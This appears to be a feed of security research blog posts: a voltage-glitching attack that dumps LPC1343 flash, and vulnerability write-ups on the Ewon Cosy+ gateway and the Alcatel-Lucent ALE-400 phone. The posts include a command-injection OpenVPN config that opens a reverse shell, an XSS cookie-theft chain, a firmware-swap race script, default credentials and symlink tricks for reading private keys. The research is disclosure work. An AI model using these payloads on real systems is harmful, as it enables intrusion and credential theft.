try:self.glitcher.block(timeout=1)response=b"Trigger OK"exceptExceptionas_:response=b"Timeout"self.glitcher.power_cycle_target(0.05)# reinitialize serial communication
self.serial=serial.Serial(port=args.target,baudrate=115200,timeout=0.1,bytesize=8,parity=serial.PARITY_NONE)# synchronize
ifnotself.synchronize():response=b"Sync error"self.glitcher.power_cycle_target(0.05)# reinitialize serial communication
self.serial=serial.Serial(port=args.target,baudrate=115200,timeout=0.1,bytesize=8,parity=serial.PARITY_NONE)else:# read flash memory address
response_code=self.send_target_command(self.READ_FLASH_CHECK,1,True,b"\r\n")ifresponse_code[0]==b"0":response=b"Success"# classify response
color=self.glitcher.classify(response)# add to database
response_str=str(response).encode("utf-8")self.database.insert(experiment_id,delay,length,color,response_str)# monitor
speed=self.glitcher.get_speed(self.start_time,experiment_id)experiment_base_id=self.database.get_base_experiments_count()print(self.glitcher.colorize(f"[+] Experiment {experiment_id}\t{experiment_base_id}\t({speed})\t{length}\t{delay}\t{color}\t{response.decode('utf-8')}",color))# increase experiment ID
experiment_id+=1# dump the firmware if requested and a glitch was successful
ifself.dumpandresponse==b"Success":# dump memory
print("[*] Dumping the flash memory ...")self.dump_memory()sys.exit(1)
First, the value ranges for the glitch length and glitch delay are set based on the given input parameters.
Within the glitching loop, random values for the glitch length and the glitch delay are selected for the current experiment, and the Pico Glitcher is armed. Then, the target device is reset. After this reset, it is checked whether the configured glitch was successfully triggered within a defined time window. Depending on the result of this check, a response variable is set accordingly, for example indicating a successfully triggered glitch using Trigger OK or a Timeout error.
Next, the script tries to synchronize with the ISP command handler. If this is successful, the command R 0 4 for reading four bytes from the protected internal flash memory at address zero is sent to the target. Based on the response of this command, we can determine whether our voltage glitching attack for bypassing the code read protection was successful or not.
For being able to better analyze the experiment data, we classify the result of each experiment using the previously defined color codes, and save the used glitching parameters and the corresponding experiment result to a database. This information is also shown on screen during the voltage glitching attack for monitoring purposes.
At last, we check if the firmware of our targeted device should be dumped in case of a successful code read protection bypass.
For performing our voltage glitching attack, we set the range for glitch delay values from 1,000 to 80,000 ns relative to our configured glitch trigger, which is the reset signal. The range for glitch length values is set from 80 to 140 ns. As we can see in the following output, depending on the used glitching parameters, our target device responds in different ways.
1
2
3
4
5
6
7
8
9
10
11
python pico-glitcher.py --target /dev/ttyUSB0 --rpico /dev/ttyACM3 --delay 1000 80000 --length 80 140
[-] Library RD6006 not installed. Functions to control the external power supply not available.
[+] Version of Pico Glitcher: [0, 9, 13]
[+] Version of findus: [0, 9, 13]
[+] Experiment 0 0 (NA) 89 53716 G Trigger OK
[+] Experiment 1 0 (NA) 123 42254 G Trigger OK
[+] Experiment 2 0 (NA) 130 34943 G Trigger OK
[+] Experiment 3 0 (NA) 103 60374 G Trigger OK
[+] Experiment 4 0 (NA) 120 1838 M Sync error
[+] Experiment 5 0 (NA) 119 64077 G Trigger OK
[...]
Now, we execute a little more than 10,000 experiments, and hope to trigger a response from our targeted chip that indicates a successful code read protection bypass.
The following figure exemplarily shows the shape of a voltage glitch in the target supply voltage using an oscilloscope.
Voltage glitch example
For evaluating the collected experiment data, we use the analyzer tool of findus. This allows us to simply load a generated database of a glitching attack, in order to inspect the corresponding results.
1
2
3
4
5
6
7
8
9
analyzer --directory databases
[-] Library RD6006 not installed. Functions to control the external power supply not available.
Dash is running on http://127.0.0.1:8080/
INFO:dash.dash:Dash is running on http://127.0.0.1:8080/
* Serving Flask app 'findus.analyzer.analyzer'
* Debug mode: on
[-] Library RD6006 not installed. Functions to control the external power supply not available.
Depending on the used color codes in our Pico Glitcher Python script, we can label the collected data points. By having a closer look at the plotted graph and the table with combined experiment results, we can see that 24 of the 10,029 glitches were classified as successful. Furthermore, we can see that all those successful glitches were at a similar location concerning our parameter search space defined by the delay and length of a glitch.
The following figure illustrates the fault injection analysis using the analyzer tool of findus.
Fault injection analysis using the analyzer tool
With this newly gained knowledge, we launch another voltage glitching attack using narrowed-down glitching parameters in order to dump the firmware of our target device. For this, we set the glitch delay to be between 49,800 and 51,600 ns, and the glitch length to be beetwen 100 and 110 ns. Additionally, we set the command line argument --dump in order to dump the device firmware in case of a successful code read protection bypass.
The following output shows a successful voltage glitching attack within a couple of seconds using these glitching parameters.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
python pico-glitcher.py --target /dev/ttyUSB0 --rpico /dev/ttyACM3 --delay 49800 51600 --length 100 110 --dump
[-] Library RD6006 not installed. Functions to control the external power supply not available.
[+] Version of Pico Glitcher: [0, 9, 13]
[+] Version of findus: [0, 9, 13]
[+] Experiment 0 0 (NA) 102 49991 G Trigger OK
[+] Experiment 1 0 (NA) 104 50432 G Trigger OK
[+] Experiment 2 0 (NA) 102 51277 G Trigger OK
[+] Experiment 3 0 (NA) 107 50955 G Trigger OK
[...]
[+] Experiment 214 0 (23) 100 51255 G Trigger OK
[+] Experiment 215 0 (23) 110 51336 R Scucess
[*] Dumping the flash memory ...
fc03001021000000edfefeca00000000000000000000000000000000f6fc0025
[...]
Using the open-source toolchain by Dr. Matthias Kesenheimer with the Pico Glitcher hardware device and the fault injection software library findus, to perform voltage glitching attacks is indeed quite easy, as the demonstrated attack against the LPC1343 hopefully showed.
If you are interested in performing voltage glitching attacks without busting the bank, this toolchain is highly recommended. Both Pico Glitcher and findus are in active development, well-documented, and new features are added regularly.
In this article, only basic capabilities of this open-source toolchain were used. But maybe there will be another article or video in the near future demonstrating more advanced features of the Pico Glitcher and findus.
Hacking a Secure Industrial Remote Access Gateway2024-08-11T16:00:00+02:002024-08-11T16:00:00+02:00https://blog.syss.com/posts/hacking-a-secure-industrial-remote-access-gateway/Moritz Abrell
In this blog post, we describe the security analysis and the found vulnerabilities in the industrial remote access solution Ewon Cosy+.
In this blog post, we describe the security analysis and the found vulnerabilities in the industrial remote access solution Ewon Cosy+.
TL;DR
We found security vulnerabilities in the Cosy+ that allow unauthenticated attackers to gain root access to the device.
With this access and by conducting further analyses, we found more issues allowing decrypting encrypted firmware files and encrypted data such as passwords in configuration files.
Furthermore, we were able to get correctly signed X.509 VPN certificates for foreign devices.
This allows attackers hijacking VPN sessions which results in significant security risks against users of the Cosy+ and the adjacent industrial infrastructure.
Industrial VPN gateways play a crucial role in operational technology (OT) by enabling secure remote access to systems within industrial networks.
However, their importance goes hand in hand with increased security risks, as their architecture makes them lucrative targets for threat actors.
Over the years, we have seen such devices being used in various industrial environments, which underlines their widespread use in critical infrastructures.
Examples of such solutions are Ewon devices by HMS.
Despite their widespread use, highlighted vulnerabilities in these devices emphasize the urgent need for robust security measures.
In light of the evolving threat landscape, the vendor has responded with the introduction of the Cosy+, which has a new hardware base and an increased focus on security.
Given these promises, conducting a security analysis of the Cosy+ seems to be a good challenge, and we decided to take a closer look at the security posture of this device.
Architecture
Many industrial remote access solutions operate by establishing a VPN connection between the router and a relay platform.
When technicians need to connect to the machines, they initiate another VPN connection to the relay platform from their client usually by using software provided by the vendor.
This same principle applies to the Ewon Cosy+.
The Ewon Cosy+ utilizes a VPN connection through OpenVPN to the Talk2m platform, which is hosted and maintained by the vendor.
Technicians can connect to devices based on their assignments using the Windows software Ecatcher.
This software also establishes a VPN connection through OpenVPN.
This architecture can be abstracted as depicted in the following figure.
Architectural overview of the Cosy+ and remote access
For further details on this concept, refer to the vendor website.
Hardware Layout
The following images show the side and front view of the Ewon Cosy+.
Ewon Cosy+ side view
Ewon Cosy+ front view
The disassembled device looks as follows:
Disassembled Ewon Cosy+
The most interesting components for the analysis can be found on the top board of the device and are highlighted in the following image:
Interesting components on the top board
Rooting the Device
Since encrypted drives and explicit hardware security are already promoted by the vendor and we did not want to destroy the device unintentionally in the first step,
we initially refrained from hardware-based attacks.
This means we would have to find vulnerabilities that allow us to learn more about the functionality of the Cosy+.
The next most obvious approach would be to analyze the firmware.
But even here we won’t get any further, as firmware update files are encrypted (more on this in firmware encryption).
Nevertheless, we found a vulnerability which allows rooting the device.
OS command injection
Rooting the device was relatively easy since we found a simple OS command injection and filter bypass in user-provided OpenVPN configurations.
Cosy+ allows uploading user-defined OpenVPN configuration files.
OpenVPN on the other hand allows executing user-defined scripts or commands, e.g. using the parameters up and down (see OpenVPN manual).
Wait, what? Can it be that simple?
Well, no.
The vendor implemented filter mechanisms trying to prevent using such parameters.
The following image shows the log entry of the prevented code execution through the OpenVPN configuration.
As a next step, we tried bypassing the filter and finally were successful by prefixing the parameter with two dashes (--up), as the following example illustrates:
client
dev tun
persist-tun
proto tcp
remote device.vpn16.talk2m.com 443
verb 5
mute 20
--up '/bin/sh -c "TF=$(mktemp -u);mkfifo $TF;telnet 192.168.33.1 5000 0<$TF | sh >$TF 2>&1"'
script-security 2
<ca>
[...]
</ca>
<cert>
[...]
</cert>
<key>
[...]
</key>
After uploading this configuration, we received a reverse shell, and due to the fact that OpenVPN is executed with root privileges, we finally rooted the device:
1
2
3
4
5
6
7
$ nc -lvp 5000
Listening on 0.0.0.0 5000
Connection received on 192.168.33.194 40424
id
uid=0(root) gid=0(root) groups=0(root)
cat /etc/hostname
ewon4
Cross-site scripting
Since rooting the device requires administrative access to the Cosy+, we looked for other vulnerabilities to get around this.
Eventually, we found a persistent cross-site scripting (XSS) vulnerability which can be triggered by unauthenticated attackers by log poisoning the FTP service.
The submitted username of an FTP authentication attempt is written to a log file which is then parsed and visible in the web interface of the device:
1
$ ftp "<h1>SySS</h1>"@10.0.0.53
Due to missing input sanitization, HTML or JavaScript code can be injected this way, as the following figure illustrates.
Cosy+ log containing submitted FTP username
In addition, the Cosy+ stores the Base64-encoded credentials of the current web session in the unprotected cookie named credentials:
Accessing the credential cookie via XSS
Therefore, attackers can leverage the XSS vulnerability to access the cookie, send it back to themselves, access the plaintext credentials, and finally gain administrative access to the device.
Exploit chain
An unauthenticated attacker can gain root access to the Cosy+ by combining the found vulnerabilities and e.g. waiting for an admin user to log in to the device.
This resulting exploit chain can be illustrated as follows:
Exploit chain to root the Cosy+ from the perspective of an unauthenticated attacker
Persistence
Our initial intention was to gain access to the device and conduct further analyses.
For having a more comfortable system access, we used the reverse shell access to deploy our own systemd service starting a statically linked dropbear SSH service using the the following configuration:
As described on the product website, the Cosy+ uses a hardware security module (HSM) to ensure that secrets as well as providing cryptographic functionalities are kept secure.
The HSM is a SE050A1 from NXP which is also known as EdgeLock:
SE050A1 HSM in the Cosy+
In this section, we take a closer look at this HSM.
Communication
According to an application note and to the APDU specification of the SE050,
the I²C communication can be either secured and encrypted using the Secure Channel Protocol 03 (SCP03) or it is not protected at all.
Therefore, we first checked this by capturing the bus communication using a logic analyzer:
Analyzing the I²C communication
Positioning of the testing needles
During this, we noticed that the communication is not secured and that we can see the APDU command structure, as demonstrated in the following figure:
I²C communication and APDU command
However, the payload itself seems not to be plaintext.
Thus, we cannot extract sensitive data by simply eavesdropping on the I²C communication.
Static and dynamic analysis
Due to the payload encryption, we did further dynamic and static analyses of binaries communicating with the HSM.
This involved static analyses using Ghidra and dynamic approaches using a statically linked GDB on the device itself:
Excerpt of dynamic analysis of the I²C communication using GDB
After some time, we gained better understanding of the secure communication which roughly works as follows:
The first 4 bytes from the unencrypted flash memory /dev/mtd3 are read, and they represent the length of data to be read in the following step.
The determined length (in our case 0xa9 or 169 decimal) of data is read from the unencrypted flash memory /dev/mtd3 starting from offset 0x03.
The read data is decrypted using the Cryptographic Acceleration and Assurance Module (CAAM) of the i.MX6.
The decrypted data is used to derive and generate session-specific keys.
Finally, the data is encrypted using AES in CBC mode with a key length of 256 bit.
The following image illustrates the I²C payload encryption:
I²C payload encryption overview
Note: Since we analyzed a single device, we cannot verify if the content of /dev/mtd3 and the keys used in CAAM differ between devices.
If not, this potential key reuse can be exploited by attackers with physical access to decrypt the I²C communication.
Key access
Another interesting question is, if the secrets stored within the HSM can be accessed.
In order to answer this question, we used the Plug and Trust middleware,
quickly developed a minimalistic tool to check the policy based on the provided examples, cross-compiled it on a compatible ARM-based system, and executed it on the Cosy+.
For example, we tried accessing the secrets, for instance the ECC key with the ID 0xEF0000B0.
However, read access was denied due to enabled policies and thus the keys cannot be extracted even with root access on the Cosy+ device:
Attempt to read the ECC private key
Back-End Communication
The communication between the Cosy+ and the Talk2m API is done via HTTPS and secured via mutual TLS (mTLS) authentication.
The following image shows an exemplary capture of such an HTTPS communication.
HTTPS communication between the Cosy+ and the Talk2m API secured by mTLS
Since the Cosy+ and the Talk2m are both enforcing X.509 certificate validation, we cannot simply access the plaintext communication.
Thus, we further analyzed the Cosy+ and, for example, found the usage of the X.509 public key /tmp/birth_key_crt.pem and the ECC private key /tmp/birth_key_ref.pem within the binary /usr/bin/ewon, as the following figure illustrates:
Client certificate and key passed to the function \_\_xstat
However, while the public key looks fine, the ECC private key is mainly filled with 0x00 bytes, as the OpenSSL output shows:
This in turn results in cryptographic errors, e.g. when using it directly via OpenSSL or tools like cURL.
According to the HSM documentation, this is not the actual ECC private key. Instead, it is a so-called reference key which only contains the key ID and EC parameter.
In our case, the key ID is 0xEF0000B0.
This reference key is required by OpenSSL, since it can only be used in combination with a syntactically correct key.
With a separate OpenSSL engine, which is defined in the OpenSSL configuration, all cryptographic operations concerning the key are then passed to the HSM.
For example, the following OpenSSL configuration can be used, and the corresponding environment variables can be exported to communicate with the Talk2m API:
This complicated the analysis process, since we cannot export the actual private key and use it, for example with a TLS interception proxy.
In order to still find out which API endpoints are being addressed and how the corresponding requests look like,
we added our own X.509 certificate to the trust store /usr/root/ewon/bin/deviceapi_castore.crt which is hardcoded in the binary /usr/bin/ewon.
Afterwards, the HTTPS communication was redirected to our own HTTPS server, and we were able to see the requests initiated by the Cosy+.
The following communication endpoints were observed:
Finally, we were able to intercept the HTTPS communication and to communicate with the Talk2m platform from the device itself.
Note: The security analysis was limited to the device itself. Tests against the services hosted by the manufacturer were not carried out or only in consultation with HMS.
Firmware Encryption
Firmware update packages can be downloaded from the manufacturer’s support website.
As assumed, however, the firmware is encrypted, except a header part. This is illustrated by the following output:
While analyzing the update process on the device, we were able to determine the firmware structure and the parsing and decryption process which was as follows:
The script ewon_update reads a key ID at offset 0x64 of the firmware.
A 256-bit-encrypted AES key is read from offset 0x68.
An IV is read from offset 0x88.
The binary /usr/bin/se050_tool is used to decrypt the encrypted AES key:
se050_tool passes the encrypted AES key to the HSM.
The HSM decrypts the AES key and returns it.
The decrypted 256-bit AES key is written to a file.
An offset of an encrypted firmware parser script is determined by ewon_update.
The encrypted script is decrypted using the decrypted AES key and IV using AES in CBC mode and written to a file.
The parser script reads the firmware structure and decrypts the different file systems and partitions using the decrypted AES key and IV.
The decrypted file systems and partitions are used to proceed with the update process.
The following image illustrates the firmware encryption:
Firmware encryption overview
As a result, the encrypted key of a firmware update file can only be decrypted with root access to a Cosy+.
Nevertheless, this does not prevent leaking firmware-specific encryption keys.
For example, we decrypted the AES key by passing it to the HSM of our rooted device and finally used it to decrypt the corresponding firmware update file:
1
2
3
4
5
6
7
8
9
10
11
12
# Decrypted AES key:
$ xxd decrypted-key
00000000: 6020 b954 6010 d2f9 5fb9 3abd 4960 39d6 ` .T`..._.:.I`9.
00000010: #### #### #### #### #### #### #### #### ################
# MD5 sum of a decrypted filesystem found in the firmware:
$ md5sum dm-3
0d5d5fb2e3564e70aa3c556d7758e2fc dm-3
# Decrypted EXT4 file system:
$ file dm-3
dm-3: Linux rev 1.0 ext4 filesystem data, UUID=0ad86007-e34b-4d08-8c1a-e1907661cbe5, volume name "otaroot" (extents) (64bit) (large files) (huge files)
In addition to the firmware encryption, update files are signed and also verified by the HSM,
which prevents updating the Cosy+ using manipulated firmware files.
Password Encryption
The Cosy+ stores secrets such as passwords in configuration and backup files in an encrypted format.
The following output shows a sample configuration containing an encrypted password:
It clearly looks like the first four characters #_5_ are something like a prefix and then followed by a Base64-encoded string.
When decoding the string, it becomes clear that this must be an encryption or some kind of obfuscation:
In previous versions of Ewon products, a simple XOR encryption was used.
However, this does not apply to newer versions and to our passwords.
Therefore, we first grepped for the usage of the prefix #_5_ in the firmware and found it in the ARM executable /usr/bin/ewon.
Analyzing the binary with Ghidra and reconstructing both the encryption algorithm and the utilized keys was relatively straightforward due to the usage of well-known OpenSSL functions.
Consequently, we were able to simply trace back the usage of the prefix and identify the functions responsible for the encryption process.
The following functions show the password encryption within the binary, whereas the AES key and IV is read from the .rodata section of the binary.
Password encryption functions (note: function, variable and pointer names were changed)
Finally, passwords can be decrypted using the following Python script including the key and IV from offset 0x2ce810 and 0x2ce800 found in the binary:
Surprisingly, the Cosy+ employs a hardcoded key stored within the binary for password encryption, rather than utilizing the HSM, like it is done for firmware encryption.
This in turn allows decrypting secrets without access to a rooted device.
OpenVPN X.509 Device Certificate
If a Cosy+ device is assigned to a Talk2m account, the device generates a certificate signing request (CSR) containing its serial number as common name (CN) and sends it to the Talk2m API:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST/certificates/csrHTTP/1.1Host:eu.device.talk2m.comAccept:application/jsonContent-Type:application/jsonEwon-Serial:XXXX-XXXX-XXAccept-Language:enFwr-Version:21.2s7Device-State:AccountLinkedContent-Length:776Connection:close{"csr":"-----BEGIN NEW CERTIFICATE REQUEST-----\nMIIB6zCC[...]
kWInsCPhDoKd1f\n-----END NEW CERTIFICATE REQUEST-----\n"}
Afterwards, the signed certificate can be accessed via the Talk2m API by the device:
However, there is no other indicator than the device’s serial number in the common name of the certificate to differentiate the VPN session in order to assign the session to the corresponding Talk2m account.
Therefore, we tried to enroll our own CSR with a CN (serial number) of another (foreign) device to check for potential security issues.
Afterwards, our CSR containing a foreign serial number was signed by the manufacturer certificate authority (CA) Talk2M VPN Device CA_202306121033:
Correctly signed X.509 certificate containing a foreign device serial number
Note: The shown serial number D2307-0101-25 was provided by HMS to verify and prove the security vulnerability.
By using this certificate and the corresponding key for OpenVPN authentication, we were able to successfully initiate a VPN session, as the following figure illustrates:
OpenVPN session using a foreign Cosy+ certificate
Finally, our connection overwrote the original one with the given device’s serial number, and we successfully took over the OpenVPN session.
This circumstance results in several security risks:
The original VPN session will be overwritten, and thus the original device is not accessible anymore.
If Talk2m users connect to the device using the VPN client software Ecatcher, they will be forwarded to the attacker.
This allows attackers to conduct further attacks against the used client, for example accessing network services such as RDP or SMB of the victim client.
The fact that the tunnel connection itself is not restricted favors this attack.
Since the network communication is forwarded to the attacker, the original network and systems could be imitated in order to intercept the victim’s user input such as the uploaded PLC programs or similar.
An illustration of such an attack is shown below:
Attack scenario
Conclusion
We found multiple security vulnerabilities in the Ewon Cosy+ which allow fully compromising the device.
Furthermore, we were able to analyze and comprehend several cryptographic operations such as firmware and password decryption, or secure communication to the Talk2m platform.
Ultimately, a security vulnerability in the device assignment could be exploited to take over OpenVPN sessions of foreign devices resulting in major security risks.
The following table provides an overview of the found security vulnerabilities.
Vulnerability Type
SySS ID
CVE ID
Improper Neutralization of Input During Web Page Generation (CWE-79)
As a result of our responsible disclosure of these security issues, the manufacturer provided the patched firmware versions 21.2s10 and 22.1s3.
We recommend updating Cosy+ devices according to the manufacturer note as soon as possible.
The improper authentication for certificate signing was fixed by the manufacturer immediately after we reported the issue.
We would like to point out that the cooperation with the manufacturer HMS during the responsible disclosure process was excellent and exemplary.
Firmware Security: Alcatel-Lucent ALE-DeskPhone2024-07-12T05:00:00+02:002024-07-12T15:05:48+02:00https://blog.syss.com/posts/voip-deskphone-firmware-security/Moritz Abrell
This blog post is about an analysis of firmware security in a VoIP deskphone.
This analysis ties in with our previous research and the demonstrated exploitation of zero touch deployments (see Zero Touch Pwn).
Introduction
As we described in the blog post Zero Touch Pwn and demonstrated at BlackHat USA 2023,
inadequate firmware security of Voice-over-IP (VoIP) devices can lead to a major secur...
This blog post is about an analysis of firmware security in a VoIP deskphone.
This analysis ties in with our previous research and the demonstrated exploitation of zero touch deployments (see Zero Touch Pwn).
Introduction
As we described in the blog post Zero Touch Pwn and demonstrated at BlackHat USA 2023,
inadequate firmware security of Voice-over-IP (VoIP) devices can lead to a major security risk.
With this in mind, we conducted an in-depth analysis of another device to identify potential security vulnerabilities.
In this blog post, we descibe the security analysis of the ALE DeskPhone (ALE-400), manufactured and developed by Alcatel-Lucent Enterprise.
Alcatel ALE DeskPhone
We analyzed the firmware of an Alcatel-Lucent ALE-400 VoIP DeskPhone:
ALE-400
This analysis was carried out from a black box perspective, as we only had access to two firmware update files and the device itself.
Firmware Analysis
The ALE DeskPhones support two modes:
The native mode with the proprietary New Office Environment (NOE) protocol, e.g. firmware 86x8_NOE-R300.1.40.012.4140-signed.zip
The SIP mode with the well-known Session Initiation Protocol (SIP), e.g. firmware 86x8_SIP-R200.1.01.10.728-signed.zip
Depending on the firmware, the ZIP archive contains different binary files. The following output exemplarily shows the content of the NOE firmware file 86x8_NOE-R300.1.40.12.4180-signed.zip.
The content of the SIP firmware file 86x8_SIP-R200.1.01.10.728-signed.zip is shown in the following output.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$ 7z l 86x8_SIP-R200.1.01.10.728-signed.zip
Listing archive: 86x8_SIP-R200.1.01.10.728-signed.zip
--
Path = 86x8_SIP-R200.1.01.10.728-signed.zip
Type = zip
Physical Size = 57490311
Date Time Attr Size Compressed Name
------------------- ----- ------------ ------------ ------------------------
2023-09-22 08:22:56 ..... 57483608 57489849 sip86x8P
2023-09-22 08:22:56 ..... 256 138 sip86x8P-header
------------------- ----- ------------ ------------ ------------------------
2023-09-22 08:22:56 57483864 57489987 2 files
The firmware structure of the different operating modes is the same, as described later.
Therefore, only one operating mode is covered here.
Firmware structure
The first interesting fact is that in addition to a comparatively larger file, there is also a file with the suffix -header with a fixed size of 256 bytes.
When analyzing the first few bytes of a binary file, e.g. sip86x8P, we found that the first 256 bytes correspond to the content of this header file (sip86x8P-header), as the following output illustrates.
It is therefore obvious that this is meta data or, as the file name already suggests, the header of the firmware.
We will go into the structure of the header in more detail later.
The first 256 bytes are followed by the magic bytes FD 37 7A 58 5A 00, which indicate XZ compression:
Since the root file system itself is not encrypted, we analyzed the firmware to get an idea of how the update process works.
In the phone’s user interface, we found a function called Upgrade via USB.
As the phone does not offer administrative network services such as a web server, we decided to look specifically for the USB update process.
The identified USB update process can be summarized as follows:
The script /usr/sbin/upgrade_usb.sh is called via the UI function.
The USB drive must contain a directory called upgrade in which the upgrade binaries are located.
The ARM binary file /usr/sbin/dhs3_hd_parse parses the firmware header.
If the firmware version does not match the installed one, the script /usr/sbin/debug/dwl is called.
The script /usr/lib/upgrade/update_notify is called.
The script /usr/sbin/upgrade.sh is called, which appears to be the main script for the upgrade.
Header structure
After we determined that the ARM binary /usr/sbin/dhs3_hd_parse is used to parse the 256-byte header,
we decided to analyze it using Ghidra in order to get a better understanding of the header structure.
We then were able to identify the most important parts of the firmware header, as the following figure illustrates.
Firmware header structure
In addition to some meta data, the header also contains length fields and checksums:
Length field at offset 0x08: The length of the file without the header
Length field at offset 0xB3: The length of the compressed root file system
Checksum at offset 0x0C: Checksum of the file
Checksum at offset 0xB7: Checksum of the compressed root file system
We found out that the length fields and the checksums are actually checked and taken into account by the update process.
Therefore, we had to find out how the checksums are calculated.
Checksums
As described in the previous section, the header contains two checksums: a checksum for the entire upgrade file and a checksum for the XZ-compressed data (root file system).
The checksum calculation is performed by the ARM executable /usr/sbin/upgrade_check and called by the script /usr/sbin/upgrade.sh, as the following code excerpt shows.
Calling upgrade_check for checksum calculation
While reversing this binary in Ghidra, we figured out, that the function at offset 0x000117e4 is responsible for the checksum calculation.
Function graph of checksum calculation
Now, that we had an understanding of the checksum calculation, we conducted dynamic analyses using emulation via QEMU to confirm our results.
The following figure shows the first function call during a checksum calculation.
Inital function call for checksum calculation
Explanation of the function call:
First parameter (see register r0): Seed or initialization vector with the value 0x0
Second parameter (see register r1): Pointer to the data for checksum calculation
Third parameter (see register r2): Length of the data
The calculated checksum is the return value of the function (see register r0), as illustrated in the following figure.
Return value of the function
Now for the next 1024 bytes, the calculated checksum of the previous block is used as seed, which is shown in the following figure.
Next block to calculate
So in summary, the checksum is calculated block by block for every 1024 bytes,
where the initial seed value for the first block is 0x0, and for all other blocks the result of the checksum calculation of the previous block.
With this gained knowledge, we developed the following Python script, which implements this checksum algorithm.
Since the checksum of the entire file (first checksum in the header) starts from offset 0x10 (decimal 16), we have to split the relevant data of the firmware file accordingly, for instance using dd.
1
$ dd if=sip86x8P of=sip86x8P-to-calc skip=16 bs=1
Now, we are able to calculate the same checksum as listed in the original header, as the following output demonstrates.
1
2
3
4
5
6
7
# Calculate the checksum:$ python3 checksum.py sip86x8P-to-calc
Checksum: 1360620141
# Checksum from the original header as decimal representation:
python -c"print(int('51196a6d', 16))"
1360620141
This also works for the second checksum regarding the TAR archive containing the root file system.
1
2
3
4
5
6
7
# Calculate the checksum:$ python3 checksum.py xz.bin
Checksum: 194438173
# Checksum from the original header as decimal representation:
python -c"print(int('b96e41d', 16))"
194438173
During further analysis, however, we discovered that there is also a signature check in addition to the checksum.
The signature is located at the end of the update file, in our case the last 144 bytes.
This Elliptic Curve Digital Signature Algorithm (ECDSA) signature is also verified by the executable /usr/sbin/upgrade_check.
Since we do not have access to the corresponding cryptographic signature key, we cannot sign firmware files accordingly. Thus, we are unable to simply install manipulated firmware on the device and must therefore move on to another approach.
Getting Shell Access
During the firmware analysis, we noticed that the phone supports serial communication (UART) via USB and spawns a login shell if connected.
So, we wired up a suitable USB-to-serial adapter and logged in using the default credentials admin:123456 extracted and cracked from the file /etc/shadow of the firmware.
The following figure shows the USB serial wiring.
USB serial wiring
A successful serial connection to the ALE-400 DeskPhone is shown in the following figure.
USB serial connection
The following output shows a successful login as user admin, which turned out to be a low-privileged user account.
1
2
3
4
5
6
7
8
9
10
11
12
$ picocom --b 115200 /dev/ttyUSB0
DSPG (dvf101, using Yocto/OE-Core "honister") v2.17-rc2 ALE-400-1E3430 /dev/ttySLK0
ALE-400-1E3430 login: admin
Password:
BusyBox v1.34.1 (2023-09-21 15:34:04 UTC) built-in shell (ash)
Enter 'help' for a list of built-in commands.
#
Race Condition
The low-privileged shell access significantly increases the attack surface, and we have found a time-of-check to time-of-use (TOCTOU) vulnerability within the firmware update process.
During the update process, the firmware image is copied from the USB drive to /tmp/sip86x8P on the phone.
However, the file is writable for everyone, as the following output shows.
The tmp directory has the sticky bit set, so the file cannot be deleted or replaced, but its content can be overwritten by anyone.
Combined with the fact that the firmware will run without locking the file or holding a file handle, this can be exploited after /usr/sbin/upgrade_check
successfully validated the firmware signature and returned without an error, for example from the perspective of the default low-privileged admin user.
Firmware manipulation
We extracted the firmware, modified the /etc/passwd file, assigned the user id 0 to the admin user,
and additionally enabled the root account in the /etc/shadow file.
Afterwards, we packed the firmware, recalculated the length and checksum, and modified the firmware header accordingly, as illustrated in the following figure.
Modified firmware header
As a next step, we downloaded the manipulated firmware to the phone at /tmp/sip86x8P-manipulated and used the following shell script to exploit the TOCTOU vulnerability.
#!/bin/shPROC_NAME="upgrade_check --signature"FLAG=""while true
do
if["$FLAG"]then
if["$(ps | grep"$PROC_NAME" | egrep -v'grep')"]then
continue
else
echo"[*] Process finished"cat /tmp/sip86x8P-manipulated /tmp/sip86x8P
echo"[+] Image overwritten"break
fi
fi
if["$(ps | grep"$PROC_NAME" | egrep -v'grep')"]then
echo"[*] Signature verification process found"FLAG="1"fi
done
Now, by providing a good firmware file with a valid signature via a USB drive and initializing the update process, our script overwrites this good firmware with our manipulated one,
once the signature verification is done.
The following figure illustrates the execution of our proof-of-concept script.
Execution of our proof-of-concept script
Afterwards, the manipulated firmware image is installed, and by this we successfully rooted the device, as shown in the following figures.
We also noticed that the function Maintenance/Debug/Get logs available via the phones UI creates a ZIP-compressed archive of different files and logs, and stores it on the external USB drive.
Here, we identified another vulnerability concerning improper privilege management, which allows extracting sensitive and protected data from the perspective of the low-privileged admin user.
The directory /data/core is writable by the admin user, as the following output illustrates.
The content of this directory are debug files.
In light of executing the debug process with root privileges,
our approach involved establishing symbolic links within the scope of the low-privileged admin user to access protected files within this directory.
Subsequently, these symbolic links are traced by the debug process and data is ultimately stored on the external USB drive.
The following output exemplarily shows creating symlinks for gaining access to a X.509 certificate and the corresponding private key.
1
2
3
4
# Symlink to the device certificate which is owned and only readable by root:$ ln-s /config-fab/fabconfig/cert/cert.pem /data/core/cert.pem
$ ln-s /config-fab/fabconfig/cert/pkey.pem /data/core/pkey.pem
After plugging in a FAT32-formated USB drive and starting the debug process via the UI, the device certificate cert.pem and the private key pkey.pem were successfully copied to our USB drive, as the following output shows.
In addition to analyzing the firmware, we conducted binary fuzzing in QEMU mode using AFL++ for the firmware header parser dhs3_hd_parse, as the following figure illustrates.
Binary fuzzing using AFL++ in QEMU mode
The fuzzing test is still ongoing as of the time of this publication, and until now, there were no interesting fuzzing results.
Conclusion
A TOCTOU vulnerability allows a low-privileged user to perform a local privilege escalation attack on an ALE-DeskPhone.
In addition, sensitive and protected files of the device can also be accessed by low-privileged users exploiting symbolic links.
The following table provides an overview of the found security vulnerabilities of the ALE-400 DeskPhone.
As a result of our responsible disclosure of these security issues, the manufacturer provided patched firmware versions.
Please see the manufacturer note for further information.
Special thanks
We want to thank Benjamin Pfister and Bundesverband Telekommunikation (VAF) for their support and providing helpful information regarding this research project.
Introducing M.A.T2024-05-28T11:00:00+02:002024-05-28T12:25:59+02:00https://blog.syss.com/posts/introducing-MAT/Marvin Ramsperger
In today’s increasingly interconnected data landscape, access to external data sources is crucial for the business processes of many companies. Microsoft SQL Server, in addition to local instances, also offers a powerful feature called “Linked Servers”, which allows seamless access to data sources outside your local SQL Server instance.
In today’s increasingly interconnected data landscape, access to external data sources is crucial for the business processes of many companies. Microsoft SQL Server, in addition to local instances, also offers a powerful feature called “Linked Servers”, which allows seamless access to data sources outside your local SQL Server instance.
